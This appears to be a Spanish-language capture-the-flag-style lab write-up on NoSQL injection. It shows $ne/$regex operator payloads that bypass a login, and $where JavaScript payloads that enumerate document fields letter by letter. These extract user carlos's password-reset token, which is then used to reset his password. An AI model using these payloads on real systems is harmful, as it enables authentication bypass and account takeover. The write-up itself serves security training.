Skip to content

20260327055551.png

LAB

20260327055745.png

Al interceptar la solicitud del login vemos que podemos cambiar a una estructura con el fin de bypasear el login, el cual se procesa de correctamente.

20260327060117.png

Al querer usar la cuenta de carlos vemos que la respuesta es que la cuenta eta bloqueada.

20260327060140.png

Usando esta estructura podemos construir una query para buscar los campos que tiene la tabla.

c
{"username": {"$regex": "carlos"}, "password": {"$ne": null}, "$where":"Object.keys(this)[0].match('^.{0}a.*')"}

El primer "$where":"Object.keys(this)[0] será encontrar el nombre de las columnas de la tabla y el match('^.{0}a.*') lo estaremos usando para iterando letra por letra el nombre de la columna.

c
"$where":"Object.keys(this)[0].match('^.{0}a.*')"}

20260327061158.png

Al realizar la solicitud en desde el intruder vemos que tenemos la primera columna, este es id

20260327061407.png

Luego vemos realizando la consultas y vemos que tenemos las siguiente columnas: id, usuario, password, email, forgotPwd,

20260327061546.png

20260327061651.png

c
{"username": {"$regex": "carlos"}, "password": {"$ne": null}, "$where":"this.forgotPwd.match('^.{0}a.*')"}

20260327062019.png

Al interar en la columna forgotPwd encontramos el valor para poder cambiar la contraseña:

20260327062051.png

c
544c8826c920df5e

Realizando una solicitud a la siguiente ruta podemos cambiar la contraseña del usuario carlos.

c
/forgot-password?forgotPwd=544c8826c920df5e

20260327062237.png

20260327062259.png